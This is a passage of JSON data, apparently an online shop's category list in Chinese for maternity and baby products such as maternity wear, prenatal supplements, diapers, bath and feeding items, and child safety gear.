纤体紧致","parent_cid":20904,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26007,"name":"孕产妇腹膜","parent_cid":20904,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25989,"name":"孕产妇护发","parent_cid":20904,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26003,"name":"孕产妇身体护理","parent_cid":20904,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":25991,"name":"孕产妇洗发","parent_cid":20904,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26009,"name":"孕产妇洗发护发套装","parent_cid":20904,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25999,"name":"孕产妇眼部护理","parent_cid":20904,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":25988,"name":"其它","parent_cid":20904,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26018,"name":"产后塑身品","parent_cid":20906,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26027,"name":"孕产妇保健食品","parent_cid":20906,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26016,"name":"孕产妇DHA","parent_cid":20906,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26028,"name":"孕产妇多元营养","parent_cid":20906,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26029,"name":"孕产妇防便秘营养品","parent_cid":20906,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26024,"name":"孕产妇钙铁锌","parent_cid":20906,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26021,"name":"孕产妇牛初乳","parent_cid":20906,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26023,"name":"孕产妇维生素","parent_cid":20906,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26019,"name":"孕产妇叶酸","parent_cid":20906,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26022,"name":"孕产妇益生菌","parent_cid":20906,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26025,"name":"孕产妇鱼肝油","parent_cid":20906,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26015,"name":"其它","parent_cid":20906,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26012,"name":"孕妇连体泳衣","parent_cid":20905,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26013,"name":"孕妇瑜伽背心/T恤","parent_cid":20905,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26010,"name":"孕妇瑜伽套装","parent_cid":20905,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26011,"name":"孕妇瑜伽文胸","parent_cid":20905,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26014,"name":"孕妇瑜伽长托腹裤","parent_cid":20905,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26008,"name":"孕妇瑜伽中/短托腹裤","parent_cid":20905,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25914,"name":"孕妇背带裤","parent_cid":20891,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25911,"name":"孕妇打底裤","parent_cid":20891,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25912,"name":"孕妇灯笼裤","parent_cid":20891,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25916,"name":"孕妇阔腿裤","parent_cid":20891,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25910,"name":"孕妇喇叭裤","parent_cid":20891,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25915,"name":"孕妇铅笔裤","parent_cid":20891,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25913,"name":"孕妇直筒裤","parent_cid":20891,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25889,"name":"半身裙","parent_cid":20887,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25887,"name":"衬衫/雪纺衫","parent_cid":20887,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25885,"name":"吊带/背心","parent_cid":20887,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25890,"name":"连衣裙","parent_cid":20887,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25883,"name":"马甲","parent_cid":20887,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25882,"name":"毛衣","parent_cid":20887,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25888,"name":"棉衣/羽绒服/大衣","parent_cid":20887,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25881,"name":"套装","parent_cid":20887,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25879,"name":"T恤","parent_cid":20887,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25886,"name":"外套/风衣","parent_cid":20887,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25884,"name":"卫衣/绒衫","parent_cid":20887,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25894,"name":"影楼服装","parent_cid":20887,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25892,"name":"孕妇婚纱","parent_cid":20887,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25893,"name":"孕妇礼服","parent_cid":20887,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25891,"name":"针织衫","parent_cid":20887,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25880,"name":"其它","parent_cid":20887,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26017,"name":"月子牙刷","parent_cid":20907,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26026,"name":"孕产妇漱口水","parent_cid":20907,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26020,"name":"孕产妇牙膏","parent_cid":20907,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25942,"name":"胎教仪","parent_cid":20897,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25964,"name":"孕产妇铃铛","parent_cid":20897,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26845,"name":"布尿裤","parent_cid":21157,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26849,"name":"隔尿床垫","parent_cid":21157,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26848,"name":"隔尿垫巾","parent_cid":21157,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26846,"name":"隔尿裙","parent_cid":21157,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26844,"name":"尿布带","parent_cid":21157,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26847,"name":"纱布尿布","parent_cid":21157,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27071,"name":"尿布台","parent_cid":21253,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27331,"name":"医护级尿裤","parent_cid":21254,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27430,"name":"婴儿游泳纸尿裤","parent_cid":21254,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27073,"name":"按摩油","parent_cid":21255,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27356,"name":"宝宝防晒乳/露","parent_cid":21255,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27302,"name":"宝宝护唇/润唇","parent_cid":21255,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34387,"name":"宝宝护手霜","parent_cid":21255,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34386,"name":"儿童面膜","parent_cid":21255,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27301,"name":"儿童乳液/面霜","parent_cid":21255,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27332,"name":"儿童洗面奶","parent_cid":21255,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34388,"name":"儿童指甲油","parent_cid":21255,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27072,"name":"护臀膏","parent_cid":21255,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27074,"name":"润肤乳","parent_cid":21255,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27142,"name":"爽身粉 /痱子粉/爽身水","parent_cid":21255,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27382,"name":"婴童洗浴护肤礼盒","parent_cid":21255,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26885,"name":"宝宝洗手液","parent_cid":21179,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26888,"name":"宝宝洗衣粉","parent_cid":21179,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34384,"name":"宝宝洗衣凝珠","parent_cid":21179,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26886,"name":"宝宝洗衣液","parent_cid":21179,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26887,"name":"宝宝洗衣皂","parent_cid":21179,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26890,"name":"奶瓶果蔬清洗液","parent_cid":21179,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26891,"name":"婴儿衣服消毒柜","parent_cid":21179,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26889,"name":"婴童鼻眼清洗液","parent_cid":21179,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26884,"name":"衣物柔顺/柔软剂","parent_cid":21179,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27687,"name":"儿童马桶盖","parent_cid":21402,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27686,"name":"儿童马桶架","parent_cid":21402,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27685,"name":"儿童坐便凳","parent_cid":21402,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26962,"name":"宝宝脸盆","parent_cid":21256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33890,"name":"儿童洗手机器","parent_cid":21256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27153,"name":"沐浴棉/浴擦","parent_cid":21256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27160,"name":"沐浴乳/沐浴露","parent_cid":21256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27076,"name":"水温计","parent_cid":21256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27154,"name":"洗发杯/水勺","parent_cid":21256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27077,"name":"洗发帽","parent_cid":21256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27167,"name":"婴儿皂/儿童皂/香皂","parent_cid":21256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27075,"name":"婴童护发素","parent_cid":21256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27078,"name":"婴童洗发水","parent_cid":21256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26959,"name":"浴巾","parent_cid":21256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26961,"name":"浴袍","parent_cid":21256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26960,"name":"浴盆","parent_cid":21256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27013,"name":"浴网/浴兜","parent_cid":21256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26577,"name":"抱婴腰带/腰凳","parent_cid":21056,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26575,"name":"出行用品","parent_cid":21056,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26578,"name":"儿童牵引绳","parent_cid":21056,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26574,"name":"防雨罩","parent_cid":21056,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26573,"name":"学步带","parent_cid":21056,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26580,"name":"婴童防护耳罩","parent_cid":21056,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26579,"name":"婴童防护口罩","parent_cid":21056,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26576,"name":"育儿背巾","parent_cid":21056,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26570,"name":"雨伞","parent_cid":21056,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26571,"name":"雨衣","parent_cid":21056,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26856,"name":"成套桌椅","parent_cid":21159,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26859,"name":"儿童储物架/收纳架","parent_cid":21159,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26854,"name":"儿童房/婴儿房","parent_cid":21159,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26858,"name":"儿童书桌椅/写字台","parent_cid":21159,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26857,"name":"儿童踏脚凳","parent_cid":21159,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26852,"name":"儿童椅","parent_cid":21159,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26851,"name":"儿童桌","parent_cid":21159,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26853,"name":"玩具椅","parent_cid":21159,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26855,"name":"婴童衣架","parent_cid":21159,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27453,"name":"电动车儿童座椅","parent_cid":21334,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27450,"name":"儿童座椅棚","parent_cid":21334,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27448,"name":"母子车/亲子车","parent_cid":21334,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26446,"name":"安全别针","parent_cid":21034,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26447,"name":"安全门卡","parent_cid":21034,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26441,"name":"保护盖/保护罩","parent_cid":21034,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26458,"name":"多功能安全锁","parent_cid":21034,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26455,"name":"防触电保护","parent_cid":21034,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26440,"name":"防撞角","parent_cid":21034,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26439,"name":"防撞条","parent_cid":21034,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26438,"name":"门护栏","parent_cid":21034,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26454,"name":"婴儿监护器","parent_cid":21034,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26435,"name":"其它","parent_cid":21034,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26702,"name":"安全梳子/刷子","parent_cid":21076,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26706,"name":"宝宝耳勺/发光耳勺","parent_cid":21076,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26704,"name":"宝宝剪刀/指甲钳","parent_cid":21076,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26710,"name":"宝宝理发器","parent_cid":21076,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26703,"name":"宝宝棉棒/棉签","parent_cid":21076,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26707,"name":"儿童引水器","parent_cid":21076,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26694,"name":"粉扑","parent_cid":21076,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26701,"name":"理发围布","parent_cid":21076,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26697,"name":"尿布桶","parent_cid":21076,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26711,"name":"尿布桶配件","parent_cid":21076,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26700,"name":"清洁镊子","parent_cid":21076,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26698,"name":"身高尺","parent_cid":21076,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26712,"name":"湿巾加热器","parent_cid":21076,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26696,"name":"喂药器","parent_cid":21076,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26705,"name":"温湿度计/室温计","parent_cid":21076,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26695,"name":"吸鼻器","parent_cid":21076,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26708,"name":"婴儿电吹风","parent_cid":21076,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26709,"name":"婴儿电子秤","parent_cid":21076,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26693,"name":"其它","parent_cid":21076,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26647,"name":"保温包袋","parent_cid":21062,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26648,"name":"保温奶瓶","parent_cid":21062,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26624,"name":"保温桶","parent_cid":21062,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26625,"name":"保温箱","parent_cid":21062,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26659,"name":"防胀气装置","parent_cid":21062,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26662,"name":"奶粉储存盒/奶粉盒","parent_cid":21062,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26594,"name":"奶瓶","parent_cid":21062,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26628,"name":"奶瓶把/手柄","parent_cid":21062,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26661,"name":"奶瓶储存盒/奶瓶盒","parent_cid":21062,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26627,"name":"奶瓶盖","parent_cid":21062,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26657,"name":"奶瓶干燥架","parent_cid":21062,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26626,"name":"奶瓶夹","parent_cid":21062,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26632,"name":"奶瓶刷/奶嘴刷","parent_cid":21062,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26658,"name":"奶瓶温度计","parent_cid":21062,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26649,"name":"智能奶瓶","parent_cid":21062,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26596,"name":"奶嘴/安抚奶嘴","parent_cid":21061,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26660,"name":"奶嘴储存盒/奶嘴盒","parent_cid":21061,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26656,"name":"奶嘴打孔器","parent_cid":21061,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26623,"name":"奶嘴链","parent_cid":21061,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27781,"name":"汽车背带","parent_cid":21445,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27780,"name":"汽车座椅","parent_cid":21445,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27083,"name":"宝宝防蚊水","parent_cid":21257,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26963,"name":"宝宝金水","parent_cid":21257,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27084,"name":"宝宝驱蚊器","parent_cid":21257,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27208,"name":"宝宝驱蚊手带","parent_cid":21257,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27085,"name":"宝宝驱蚊贴","parent_cid":21257,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27079,"name":"宝宝贴","parent_cid":21257,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27082,"name":"宝宝蚊香片","parent_cid":21257,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27081,"name":"宝宝蚊香液","parent_cid":21257,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27080,"name":"宝宝止痒膏","parent_cid":21257,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26475,"name":"宝宝料理机/食物搅拌器","parent_cid":21037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26474,"name":"宝宝蒸蛋机/煮蛋器","parent_cid":21037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26459,"name":"BB煲/电粥锅","parent_cid":21037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26463,"name":"餐椅","parent_cid":21037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34385,"name":"儿童保温杯","parent_cid":21037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26469,"name":"儿童餐具","parent_cid":21037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26468,"name":"儿童筷子","parent_cid":21037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26464,"name":"儿童勺","parent_cid":21037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26466,"name":"果汁瓶","parent_cid":21037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26467,"name":"口水巾/吸汗巾/饭兜/毛巾","parent_cid":21037,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":26473,"name":"魔术杯软嘴","parent_cid":21037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26471,"name":"食物存储","parent_cid":21037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26472,"name":"食物研磨器","parent_cid":21037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26462,"name":"水杯","parent_cid":21037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26470,"name":"水杯配件","parent_cid":21037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26461,"name":"水壶","parent_cid":21037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26460,"name":"吸管","parent_cid":21037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26465,"name":"吸管刷","parent_cid":21037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26476,"name":"其它喂哺用品","parent_cid":21037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26433,"name":"床单","parent_cid":21033,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26434,"name":"床褥","parent_cid":21033,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26436,"name":"床围/床靠","parent_cid":21033,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26448,"name":"儿童床笠/床罩","parent_cid":21033,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26443,"name":"儿童枕套","parent_cid":21033,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26442,"name":"尿布袋/床头挂袋","parent_cid":21033,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26437,"name":"睡袋/防踢被","parent_cid":21033,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26453,"name":"睡袋礼盒/套装","parent_cid":21033,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extr